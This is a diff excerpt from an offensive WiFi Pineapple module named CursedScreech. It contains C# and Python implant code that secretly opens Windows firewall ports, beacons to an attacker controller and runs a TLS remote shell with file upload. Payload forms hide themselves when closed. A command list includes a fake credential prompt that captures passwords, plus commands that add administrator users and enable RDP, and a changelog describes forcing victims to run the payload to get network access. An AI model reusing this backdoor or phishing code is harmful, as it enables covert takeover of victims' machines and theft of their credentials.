||||
if ($file == "." || $file == "..") {continue;}
|
||||
$files[$file] = __PAYLOADS__;
|
||||
}
|
||||
$this->respond(true, null, $files);
|
||||
return $files;
|
||||
}
|
||||
|
||||
private function deletePayload($filePath) {
|
||||
if (!unlink($filePath)) {
|
||||
$this->logError("Delete Payload", "Failed to delete payload at path " . $filePath);
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
private function cfgUploadLimit() {
|
||||
$data = array();
|
||||
$res = exec("python " . __SCRIPTS__ . "cfgUploadLimit.py > /dev/null 2>&1 &", $data);
|
||||
if ($res != "") {
|
||||
$this->logError("cfg_upload_limit_error", $data);
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* EZ CMD FUNCTIONS */
|
||||
/* ============================ */
|
||||
|
||||
private function loadEZCmds() {
|
||||
$contents = explode("\n", file_get_contents(__EZCMDS__));
|
||||
$cmdDict = array();
|
||||
foreach ($contents as $line) {
|
||||
$cmd = explode(":", $line, 2);
|
||||
$name = $cmd[0]; $action = $cmd[1];
|
||||
$cmdDict[$name] = $action;
|
||||
}
|
||||
$this->respond(true, null, $cmdDict);
|
||||
return $cmdDict;
|
||||
}
|
||||
|
||||
private function saveEZCmds($cmds) {
|
||||
$fh = fopen(__EZCMDS__, "w");
|
||||
if (!$fh) {
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
foreach ($cmds as $k => $v) {
|
||||
fwrite($fh, $k . ":" . $v . "\n");
|
||||
}
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* MISCELLANEOUS */
|
||||
/* ============================ */
|
||||
|
||||
private function respond($success, $msg = null, $data = null, $error = null) {
|
||||
$this->response = array("success" => $success,"message" => $msg, "data" => $data, "error" => $error);
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* LOG FUNCTIONS */
|
||||
/* ============================ */
|
||||
private function getLogs($type) {
|
||||
$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
|
||||
$contents = array();
|
||||
foreach (scandir($dir) as $log) {
|
||||
if ($log == "." || $log == "..") {continue;}
|
||||
array_push($contents, $log);
|
||||
}
|
||||
$this->respond(true, null, $contents);
|
||||
}
|
||||
|
||||
private function retrieveLog($logname, $type) {
|
||||
$dir = ($type == "error") ? __LOGS__ : (($type == "help") ? __HELPFILES__ : (($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__)));
|
||||
$data = file_get_contents($dir . $logname);
|
||||
if (!$data) {
|
||||
$this->respond(true, null, "");
|
||||
return;
|
||||
}
|
||||
$this->respond(true, null, $data);
|
||||
}
|
||||
|
||||
private function clearLog($log,$type) {
|
||||
$dir = ($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : "");
|
||||
$fh = fopen($dir . $log, "w");
|
||||
fclose($fh);
|
||||
$this->respond(true);
|
||||
}
|
||||
|
||||
private function deleteLog($logname, $type) {
|
||||
$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
|
||||
$res = unlink($dir . $logname);
|
||||
if (!$res) {
|
||||
$this->respond(false, "Failed to delete log.");
|
||||
return;
|
||||
}
|
||||
$this->respond(true);
|
||||
}
|
||||
|
||||
private function logError($filename, $data) {
|
||||
$time = exec("date +'%H_%M_%S'");
|
||||
$fh = fopen(__LOGS__ . str_replace(" ","_",$filename) . "_" . $time . ".txt", "w+");
|
||||
fwrite($fh, $data);
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
/* ===================================================== */
|
||||
/* KEY FUNCTIONS TO INTERFACE WITH PAPERS */
|
||||
/* ===================================================== */
|
||||
|
||||
private function loadCertificates() {
|
||||
$certs = $this->getKeys(__SSLSTORE__);
|
||||
$this->respond(true,null,$certs);
|
||||
}
|
||||
|
||||
private function getKeys($dir) {
|
||||
$keyType = "TLS/SSL";
|
||||
$keys = scandir($dir);
|
||||
$certs = array();
|
||||
foreach ($keys as $key) {
|
||||
if ($key == "." || $key == "..") {continue;}
|
||||
|
||||
$parts = explode(".", $key);
|
||||
$fname = $parts[0];
|
||||
$type = "." . $parts[1];
|
||||
|
||||
// Check if the object name already exists in the array
|
||||
if ($this->objNameExistsInArray($fname, $certs)) {
|
||||
foreach ($certs as &$obj) {
|
||||
if ($obj->Name == $fname) {
|
||||
$obj->Type .= ", " . $type;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Add a new object to the array
|
||||
$enc = ($this->keyIsEncrypted($fname)) ? "Yes" : "No";
|
||||
array_push($certs, (object)array('Name' => $fname, 'Type' => $type, 'Encrypted' => $enc, 'KeyType' => $keyType));
|
||||
}
|
||||
}
|
||||
return $certs;
|
||||
}
|
||||
|
||||
private function objNameExistsInArray($name, $arr) {
|
||||
foreach ($arr as $x) {
|
||||
if ($x->Name == $name) {
|
||||
return True;
|
||||
}
|
||||
}
|
||||
return False;
|
||||
}
|
||||
|
||||
private function keyIsEncrypted($keyName) {
|
||||
$data = array();
|
||||
$keyDir = __SSLSTORE__;
|
||||
exec(__SCRIPTS__ . "testEncrypt.sh -k " . $keyName . " -d " . $keyDir . " 2>&1", $data);
|
||||
if ($data[0] == "writing RSA key") {
|
||||
return false;
|
||||
} else if ($data[0] == "unable to load Private Key") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,390 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Reflection;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace PineappleModules
|
||||
{
|
||||
/*
|
||||
*
|
||||
* Class: CursedScreech
|
||||
* Author: sud0nick
|
||||
* Created: March 3, 2016
|
||||
* Updated: September 17, 2016
|
||||
*
|
||||
* A class that sets up a multicast thread to broadcast back
|
||||
* to the Pineapple on which port it is listening, sets up a
|
||||
* server thread for executing remote shell commands secured via
|
||||
* TLS 1.2, and establishes firewall rules to perform said actions
|
||||
* unbeknownst to the target.
|
||||
*
|
||||
*/
|
||||
public class CursedScreech
|
||||
{
|
||||
// ==================================================
|
||||
// CLASS ATTRIBUTES
|
||||
// ==================================================
|
||||
private SslStream sslStream;
|
||||
private string msg = "";
|
||||
private int lport = 0;
|
||||
private static string certSerial = "";
|
||||
private static string certHash = "";
|
||||
private string command = "";
|
||||
private Boolean recvFile = false;
|
||||
private byte[] fileBytes;
|
||||
private int fileBytesLeftToRead = 0;
|
||||
private string fileName = "";
|
||||
private string storeDir = "";
|
||||
private readonly string exePath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
|
||||
private readonly string exeName = Path.GetFileNameWithoutExtension(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName);
|
||||
|
||||
// ==================================================
|
||||
// CURSED SCREECH INITIALIZER
|
||||
// ==================================================
|
||||
public CursedScreech() {
|
||||
|
||||
// Get the current path and name of the executable to set up rules for it in the firewall
|
||||
string addTCPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=TCP dir=in localport=xxxxx action=allow";
|
||||
string delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + exeName + "\"";
|
||||
|
||||
// Generate a random port on which to listen for commands from Kuro
|
||||
Random rnd = new Random();
|
||||
lport = rnd.Next(10000, 65534);
|
||||
|
||||
// Delete old firewall rules
|
||||
exec(delFirewallRule);
|
||||
|
||||
// Add new firewall rule
|
||||
exec(addTCPRule.Replace("xxxxx", lport.ToString()));
|
||||
}
|
||||
|
||||
// ===========================================================
|
||||
// OPTIONAL METHODS TO SET EXPECTED CERTIFICATE PROPERTIES
|
||||
// ===========================================================
|
||||
public void setRemoteCertificateHash(string hash) {
|
||||
certHash = hash;
|
||||
}
|
||||
|
||||
public void setRemoteCertificateSerial(string serial) {
|
||||
certSerial = serial;
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO START THE MULTICAST THREAD
|
||||
// ==================================================
|
||||
public void startMulticaster(string address, int port, int heartbeatInterval = 5) {
|
||||
string addUDPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=UDP dir=out localport=" + port + " action=allow";
|
||||
exec(addUDPRule);
|
||||
new Thread(() => {
|
||||
|
||||
UdpClient udpclient = new UdpClient(port);
|
||||
IPAddress mcastAddr = IPAddress.Parse(address);
|
||||
udpclient.JoinMulticastGroup(mcastAddr);
|
||||
IPEndPoint kuro = new IPEndPoint(mcastAddr, port);
|
||||
|
||||
while (true) {
|
||||
Byte[] buffer = null;
|
||||
string localIP = localAddress();
|
||||
if (localIP.Length == 0) {
|
||||
localIP = "0.0.0.0";
|
||||
}
|
||||
|
||||
// If a message is available to be sent then do so
|
||||
if (msg.Length > 0) {
|
||||
msg = "msg:" + msg;
|
||||
|
||||
buffer = Encoding.ASCII.GetBytes(msg);
|
||||
udpclient.Send(buffer, buffer.Length, kuro);
|
||||
msg = "";
|
||||
}
|
||||
|
||||
// Send the listening socket information to Kuro
|
||||
buffer = Encoding.ASCII.GetBytes(localIP + ":" + lport.ToString());
|
||||
udpclient.Send(buffer, buffer.Length, kuro);
|
||||
//Console.WriteLine("Sent heartbeat to Kuro");
|
||||
|
||||
// Sleep for however long the heartbeat interval is set
|
||||
Thread.Sleep(heartbeatInterval * 1000);
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
||||
// ====================================================
|
||||
// MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
|
||||
// ====================================================
|
||||
public void startSecureServerThread(string key, string keyPassword) {
|
||||
new Thread(() => startSecureServer(key, keyPassword)).Start();
|
||||
}
|
||||
|
||||
// ====================================================
|
||||
// BLOCKING SECURE SERVER
|
||||
// ====================================================
|
||||
public void startSecureServer(string key, string keyPassword) {
|
||||
|
||||
// Create a socket for the listener
|
||||
IPAddress ipAddress = IPAddress.Parse("0.0.0.0");
|
||||
IPEndPoint localEndPoint = new IPEndPoint(ipAddress, lport);
|
||||
TcpListener listener = new TcpListener(localEndPoint);
|
||||
|
||||
// Read the certificate information from file. This should be a .pfx container
|
||||
// with a private and public key so we can be verified by Kuro
|
||||
X509Certificate2 csKey = loadKeys(key, keyPassword);
|
||||
|
||||
// Tell the thread to operate in the background
|
||||
Thread.CurrentThread.IsBackground = true;
|
||||
|
||||
bool connected = false;
|
||||
TcpClient client = new TcpClient();
|
||||
Int32 numBytesRecvd = 0;
|
||||
try {
|
||||
|
||||
// Start listening
|
||||
listener.Start();
|
||||
|
||||
while (true) {
|
||||
// Begin listening for connections
|
||||
client = listener.AcceptTcpClient();
|
||||
|
||||
try {
|
||||
this.sslStream = new SslStream(client.GetStream(), false, atkCertValidation);
|
||||
this.sslStream.AuthenticateAsServer(csKey, true, (SslProtocols.Tls12 | SslProtocols.Tls11 | SslProtocols.Tls), false);
|
||||
|
||||
connected = true;
|
||||
while (connected) {
|
||||
byte[] cmdRecvd = new Byte[4096];
|
||||
|
||||
numBytesRecvd = this.sslStream.Read(cmdRecvd, 0, cmdRecvd.Length);
|
||||
|
||||
if (numBytesRecvd < 1) {
|
||||
connected = false;
|
||||
client.Close();
|
||||
break;
|
||||
}
|
||||
|
||||
// If a file is being received we don't want to decode the data because we
|
||||
// need to store the raw bytes of the file
|
||||
if (this.recvFile) {
|
||||
|
||||
int numBytesToCopy = cmdRecvd.Length;
|
||||
if (this.fileBytesLeftToRead < cmdRecvd.Length) {
|
||||
numBytesToCopy = this.fileBytesLeftToRead;
|
||||
}
|
||||
|
||||
// Append the received bytes to the fileBytes array
|
||||
System.Buffer.BlockCopy(cmdRecvd, 0, this.fileBytes, (this.fileBytes.Length - this.fileBytesLeftToRead), numBytesToCopy);
|
||||
this.fileBytesLeftToRead -= numBytesRecvd;
|
||||
|
||||
// If we have finished reading the file, store it on the system
|
||||
if (this.fileBytesLeftToRead < 1) {
|
||||
|
||||
// Let the system know we've received the whole file
|
||||
this.recvFile = false;
|
||||
|
||||
// Store the file on the system
|
||||
storeFile(this.storeDir, this.fileName, this.fileBytes);
|
||||
|
||||
// Clear the fileName and fileBytes variables
|
||||
this.fileName = "";
|
||||
this.fileBytes = new Byte[1];
|
||||
}
|
||||
|
||||
} else {
|
||||
// Assign the decrytped message to the command string
|
||||
this.command = Encoding.ASCII.GetString(cmdRecvd, 0, numBytesRecvd);
|
||||
|
||||
Thread shellThread = new Thread(() => sendMsg());
|
||||
shellThread.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception) {
|
||||
connected = false;
|
||||
client.Close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception) { }
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO SEND DATA TO KURO
|
||||
// ==================================================
|
||||
private void sendMsg() {
|
||||
string msg = this.command;
|
||||
this.command = "";
|
||||
|
||||
// Check if we are about to receive a file and prepare
|
||||
// the appropriate variables to receive it
|
||||
// Msg format is sendfile:fileName:byteArraySize
|
||||
if (msg.Contains("sendfile;")) {
|
||||
|
||||
this.recvFile = true;
|
||||
string[] msgParts = msg.Split(';');
|
||||
this.fileName = msgParts[1];
|
||||
this.fileBytesLeftToRead = Int32.Parse(msgParts[2]);
|
||||
this.storeDir = msgParts[3];
|
||||
this.fileBytes = new Byte[this.fileBytesLeftToRead];
|
||||
|
||||
} else {
|
||||
|
||||
// If we are not expecting a file we simply execute
|
||||
// the received command in the shell and return the results
|
||||
string ret = exec(msg);
|
||||
if (ret.Length > 0) {
|
||||
byte[] retMsg = Encoding.ASCII.GetBytes(ret);
|
||||
this.sslStream.Write(retMsg, 0, retMsg.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO GET THE LOCAL IP ADDRESS
|
||||
// ==================================================
|
||||
private string localAddress() {
|
||||
IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
|
||||
foreach (IPAddress ip in host.AddressList) {
|
||||
if (ip.AddressFamily == AddressFamily.InterNetwork) {
|
||||
return ip.ToString();
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO EXECUTE A SHELL COMMAND
|
||||
// ==================================================
|
||||
private static string exec(string args) {
|
||||
System.Diagnostics.Process proc = new System.Diagnostics.Process();
|
||||
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
|
||||
startInfo.CreateNoWindow = true;
|
||||
startInfo.UseShellExecute = false;
|
||||
startInfo.RedirectStandardOutput = true;
|
||||
startInfo.FileName = "cmd.exe";
|
||||
startInfo.Arguments = "/C " + args;
|
||||
proc.StartInfo = startInfo;
|
||||
proc.Start();
|
||||
proc.WaitForExit(2000);
|
||||
return proc.StandardOutput.ReadToEnd();
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO STORE A RECEIVED FILE
|
||||
// ==================================================
|
||||
private void storeFile(string dir, string name, byte[] file) {
|
||||
// If the directory doesn't exist, create it
|
||||
Directory.CreateDirectory(dir);
|
||||
|
||||
// Write the file out to the directory
|
||||
File.WriteAllBytes(dir + name, file);
|
||||
|
||||
// Tell Kuro the file was stored
|
||||
byte[] retMsg = Encoding.ASCII.GetBytes("Received and stored file " + name + " in directory " + dir);
|
||||
this.sslStream.Write(retMsg, 0, retMsg.Length);
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO LOAD KEYS FROM A PFX
|
||||
// ==================================================
|
||||
private X509Certificate2 loadKeys(string key, string password) {
|
||||
var certStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(key);
|
||||
byte[] bytes = new byte[certStream.Length];
|
||||
certStream.Read(bytes, 0, bytes.Length);
|
||||
return new X509Certificate2(bytes, password);
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO VERIFY KURO'S CERTIFICATE
|
||||
// ==================================================
|
||||
private static bool atkCertValidation(Object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
|
||||
//Console.WriteLine(BitConverter.ToString(cert.GetSerialNumber()));
|
||||
//Console.WriteLine(cert.GetCertHashString());
|
||||
if (certSerial != "") {
|
||||
if (BitConverter.ToString(cert.GetSerialNumber()) != certSerial) { return false; }
|
||||
}
|
||||
if (certHash != "") {
|
||||
if (cert.GetCertHashString() != certHash) { return false; }
|
||||
}
|
||||
if (sslPolicyErrors == SslPolicyErrors.None) { return true; }
|
||||
if (sslPolicyErrors == SslPolicyErrors.RemoteCertificateChainErrors) { return true; }
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
*
|
||||
* Class: PA_Authorization
|
||||
* Author: sud0nick
|
||||
* Date: July 16, 2016
|
||||
*
|
||||
* A class for interacting with Portal Auth Shell Server
|
||||
* This class simply connects back to the PASS script on
|
||||
* the Pineapple, supplies some system info, and retrieves
|
||||
* an access key for the victim to log on to the portal.
|
||||
*
|
||||
*/
|
||||
|
||||
public class PA_Authorization {
|
||||
private string rHost;
|
||||
private int rPort;
|
||||
private string accessKey = "";
|
||||
|
||||
public PA_Authorization(string remoteHost = "172.16.42.1", int remotePort = 4443) {
|
||||
rHost = remoteHost;
|
||||
rPort = remotePort;
|
||||
}
|
||||
|
||||
public string getAccessKey() {
|
||||
// Establish a new socket to connect back to the Pineapple
|
||||
TcpClient c_bk = new TcpClient();
|
||||
|
||||
try {
|
||||
c_bk.Connect(rHost, rPort);
|
||||
}
|
||||
catch {
|
||||
return "";
|
||||
}
|
||||
|
||||
|
||||
NetworkStream pa_stream = c_bk.GetStream();
|
||||
|
||||
// Send system information to PortalAuth
|
||||
string systemInfo = "0;" + System.Environment.MachineName + ";" + System.Environment.OSVersion;
|
||||
byte[] sysinfo = Encoding.ASCII.GetBytes(systemInfo);
|
||||
pa_stream.Write(sysinfo, 0, sysinfo.Length);
|
||||
|
||||
// Get the access key back from PortalAuth
|
||||
byte[] msgRecvd = new Byte[1024];
|
||||
Int32 bytesRecvd = 0;
|
||||
bytesRecvd = pa_stream.Read(msgRecvd, 0, msgRecvd.Length);
|
||||
|
||||
if (bytesRecvd < 1) {
|
||||
c_bk.Close();
|
||||
return "";
|
||||
}
|
||||
else {
|
||||
accessKey = Encoding.ASCII.GetString(msgRecvd, 0, bytesRecvd);
|
||||
}
|
||||
|
||||
// Close the connection
|
||||
c_bk.Close();
|
||||
|
||||
// Return accessKey with either an error message or the key that was received
|
||||
return accessKey;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using CursedScreech;
|
||||
|
||||
namespace Payload
|
||||
{
|
||||
public partial class Form1 : Form {
|
||||
|
||||
public Form1() {
|
||||
InitializeComponent();
|
||||
|
||||
CursedScreech.CursedScreech cs = new CursedScreech.CursedScreech();
|
||||
cs.startMulticaster("IPAddress", mcastport, hbinterval);
|
||||
cs.setRemoteCertificateSerial("serial");
|
||||
cs.setRemoteCertificateHash("fingerprint");
|
||||
cs.startSecureServerThread("privateKey", "password");
|
||||
}
|
||||
private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
|
||||
e.Cancel = true;
|
||||
this.Hide();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,44 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using PineappleModules;
|
||||
|
||||
namespace Payload
|
||||
{
|
||||
public partial class Form1 : Form {
|
||||
|
||||
PA_Authorization pauth = new PA_Authorization();
|
||||
|
||||
public Form1() {
|
||||
InitializeComponent();
|
||||
|
||||
CursedScreech cs = new CursedScreech();
|
||||
cs.startMulticaster("IPAddress", mcastport, hbinterval);
|
||||
cs.setRemoteCertificateSerial("serial");
|
||||
cs.setRemoteCertificateHash("fingerprint");
|
||||
cs.startSecureServerThread("privateKey", "password");
|
||||
}
|
||||
private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
|
||||
e.Cancel = true;
|
||||
this.Hide();
|
||||
}
|
||||
|
||||
private void accessKeyButton_Click(object sender, EventArgs e) {
|
||||
|
||||
// Request an access key from the Pineapple
|
||||
string key = pauth.getAccessKey();
|
||||
|
||||
// Check if a key was returned
|
||||
string msg;
|
||||
if (key.Length > 0) {
|
||||
msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
|
||||
}
|
||||
else {
|
||||
msg = "Failed to retrieve an access key from the server. Please try again later.";
|
||||
}
|
||||
|
||||
// Display message to the user
|
||||
MessageBox.Show(msg);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,152 @@
|
|||
import time
|
||||
import subprocess
|
||||
from random import randint
|
||||
import platform
|
||||
import threading
|
||||
import sys
|
||||
from ssl import *
|
||||
from socket import *
|
||||
|
||||
class CursedScreech:
|
||||
|
||||
def __init__(self, progName):
|
||||
self.ProgName = progName
|
||||
self.msg = ""
|
||||
self.lport = 0
|
||||
self.certSerial = ""
|
||||
self.threads = []
|
||||
|
||||
|
||||
# ==================================================
|
||||
# METHOD TO START THE MULTICAST THREAD
|
||||
# ==================================================
|
||||
def startMulticaster(self, addr, port, heartbeatInterval = 5):
|
||||
# Set up a heartbeat thread
|
||||
hbt = threading.Thread(target=self.sendHeartbeat, args=(addr,port,heartbeatInterval))
|
||||
self.threads.append(hbt)
|
||||
hbt.start()
|
||||
|
||||
|
||||
# ====================================================
|
||||
# MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
|
||||
# ====================================================
|
||||
def startSecureServerThread(self, keyFile, certFile, remoteCert):
|
||||
sst = threading.Thread(target=self.startSecureServer, args=(keyFile,certFile,remoteCert))
|
||||
self.threads.append(sst)
|
||||
sst.start()
|
||||
|
||||
# ========================================================
|
||||
# METHOD TO SET THE EXPECTED CERTIFICATE SERIAL NUMBER
|
||||
# ========================================================
|
||||
def setRemoteCertificateSerial(self, serial):
|
||||
self.certSerial = serial
|
||||
|
||||
|
||||
# ======================================
|
||||
# HEARTBEAT THREAD
|
||||
# ======================================
|
||||
def sendHeartbeat(self, MCAST_GROUP, MCAST_PORT, hbInterval):
|
||||
|
||||
# Add a firewall rule in Windows to allow outbound UDP packets
|
||||
addUDPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=UDP dir=out localport=" + str(MCAST_PORT) + " action=allow";
|
||||
subprocess.call(addUDPRule, shell=True, stdout=subprocess.PIPE)
|
||||
|
||||
# Set up a UDP socket for multicast
|
||||
sck = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
|
||||
sck.setsockopt(IPPROTO_IP, IP_MULTICAST_TTL, 2)
|
||||
|
||||
# Infinitely loop and send a broadcast to MCAST_GROUP with our
|
||||
# listener's IP and port information.
|
||||
while True:
|
||||
ip = gethostbyname(gethostname())
|
||||
if len(self.msg) > 0:
|
||||
sck.sendto("msg:" + self.msg, (MCAST_GROUP, MCAST_PORT))
|
||||
|
||||
# Clear out the message
|
||||
self.msg=""
|
||||
|
||||
sck.sendto(ip + ":" + str(self.lport), (MCAST_GROUP, MCAST_PORT))
|
||||
time.sleep(hbInterval)
|
||||
|
||||
|
||||
# ===================================================
|
||||
# BLOCKING SECURE LISTENER WITH SHELL EXECUTION
|
||||
# ===================================================
|
||||
def startSecureServer(self, keyFile, certFile, remoteCert):
|
||||
|
||||
# Create a listener for the secure shell
|
||||
ssock = socket(AF_INET, SOCK_STREAM)
|
||||
ssock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
|
||||
listener = wrap_socket(ssock, ssl_version=PROTOCOL_SSLv23, keyfile=keyFile, certfile=certFile, cert_reqs=CERT_REQUIRED, ca_certs=remoteCert)
|
||||
|
||||
# Pick a random port number on which to listen and attempt to bind to it
|
||||
# If it is already in use simply continue the process until an available
|
||||
# port is found.
|
||||
bound = False
|
||||
while bound == False:
|
||||
self.lport = randint(30000, 65534)
|
||||
try:
|
||||
listener.bind((gethostname(), self.lport))
|
||||
bound = True
|
||||
except:
|
||||
bound = False
|
||||
continue
|
||||
|
||||
# Set up rules in the firewall to allow connections from this program
|
||||
addTCPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=TCP dir=in localport=xxxxx action=allow";
|
||||
delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + self.ProgName + "\"";
|
||||
|
||||
try:
|
||||
# Delete old firewall rules if they exist
|
||||
subprocess.call(delFirewallRule, shell=True, stdout=subprocess.PIPE)
|
||||
|
||||
# Add a firewall rule to Windows Firewall that allows inbound connections on the port
|
||||
addTCPRule = addTCPRule.replace('xxxxx', str(self.lport))
|
||||
subprocess.call(addTCPRule, shell=True, stdout=subprocess.PIPE)
|
||||
except:
|
||||
pass
|
||||
|
||||
listener.listen(5)
|
||||
connected = False
|
||||
|
||||
# Begin accepting connections and pass all commands to execShell in a separate thread
|
||||
while 1:
|
||||
if not connected:
|
||||
(client, address) = listener.accept()
|
||||
connected = True
|
||||
|
||||
# Verify the client's certificate. If the serial number doesn't match
|
||||
# kill the connection and wait for a new one.
|
||||
if len(self.certSerial) > 0:
|
||||
cert = client.getpeercert()
|
||||
if not cert['serialNumber'] == self.certSerial:
|
||||
connected = False
|
||||
self.msg = "[!] Unauthorized access attempt on target " + gethostbyname(gethostname()) + ":" + str(self.lport)
|
||||
continue
|
||||
while 1:
|
||||
try:
|
||||
cmd = client.recv(4096)
|
||||
|
||||
if not len(cmd):
|
||||
connected = False
|
||||
break
|
||||
|
||||
shellThread = threading.Thread(target=self.execShellCmd, args=(client,cmd))
|
||||
self.threads.append(shellThread)
|
||||
shellThread.start()
|
||||
except:
|
||||
connected = False
|
||||
break
|
||||
|
||||
listener.close()
|
||||
|
||||
|
||||
# ======================================
|
||||
# EXECUTE A CMD IN SHELL
|
||||
# ======================================
|
||||
def execShellCmd(self, sock, cmd):
|
||||
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
stdout_value = proc.stdout.read() + proc.stderr.read()
|
||||
sock.sendall(stdout_value)
|
||||
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
from PineappleModules import CursedScreech
|
||||
|
||||
cs = CursedScreech("Network Client")
|
||||
cs.startMulticaster("IPAddress", mcastport, hbinterval)
|
||||
cs.setRemoteCertificateSerial("serial")
|
||||
cs.startSecureServerThread("privateKey", "publicKey", "kuroKey")
|
|
@ -0,0 +1 @@
|
|||
March 03, 2016 - Module released.
|
|
@ -0,0 +1,6 @@
|
|||
July 30, 2016
|
||||
<br /><br />
|
||||
- Updated API to include a class which hooks into PortalAuth's Payloader injection set to force authorization. This ensures the target executes the payload in order to get access to the network.
|
||||
<br /><br />
|
||||
- Added a checkbox under settings to automatically include authorization code in the payload source.<br /><br />
|
||||
- Added the ability to select the interface on which sein will listen. This fixes the bug where targets would not appear on the Pineapple network.
|
|
@ -0,0 +1,9 @@
|
|||
September 17, 2016
|
||||
<br /><br />
|
||||
- Updated C# API to support receiving and storing of files on target machines<br />
|
||||
- Updated UI<br />
|
||||
- Added file upload option to import payloads<br />
|
||||
- Added 'Send File' EZ Cmd to send payloads to target machines<br />
|
||||
- Made the module less of a resource hog when Sein and Kuro aren't running<br />
|
||||
- Fixed bug where certificate store would not properly identify a key as encrypted<br />
|
||||
- Added feature so encrypted keys can not be selected for Kuro in the certificate store
|
|
@ -0,0 +1,15 @@
|
|||
Send File:C:\Temp\
|
||||
Get PS Version:powershell "$PSVersionTable"
|
||||
Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL"
|
||||
Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}"
|
||||
Windows PSv2- Phish:powershell "Get-Credential | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}"
|
||||
Windows Alert:powershell "[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Message', 'Title')"
|
||||
Logoff User:shutdown /l
|
||||
Restart:powershell "Restart-Computer"
|
||||
Shutdown:powershell "Stop-Computer"
|
||||
Add User:net user <USER> <PASSWORD> /ADD
|
||||
Change User Password:net user <USER> <PASSWORD>
|
||||
Delete User:net user <USER> /DELETE
|
||||
Enable RDP:powershell "$key='HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server'; if (!(Test-Path $key)) { New-Item -Path $key -Force | Out-Null }; New-ItemProperty -Path $key -Name 'fDenyTSConnections' -PropertyType 'DWORD' -Value 0 -Force | Out-Null; netsh advfirewall firewall set rule group='remote desktop' new enable=yes"
|
||||
Add User to Remote Desktop Users Group:net localgroup "Remote Desktop Users" /ADD "<user>"
|
||||
Add User to Administrators Group:net localgroup "Administrators" /ADD "<user>"
|
|
@ -0,0 +1,162 @@
|
|||
# Kuro looms up ahead, won't allow us to pass.
|
||||
# Let us not travel further, lest we unleash her wrath.
|
||||
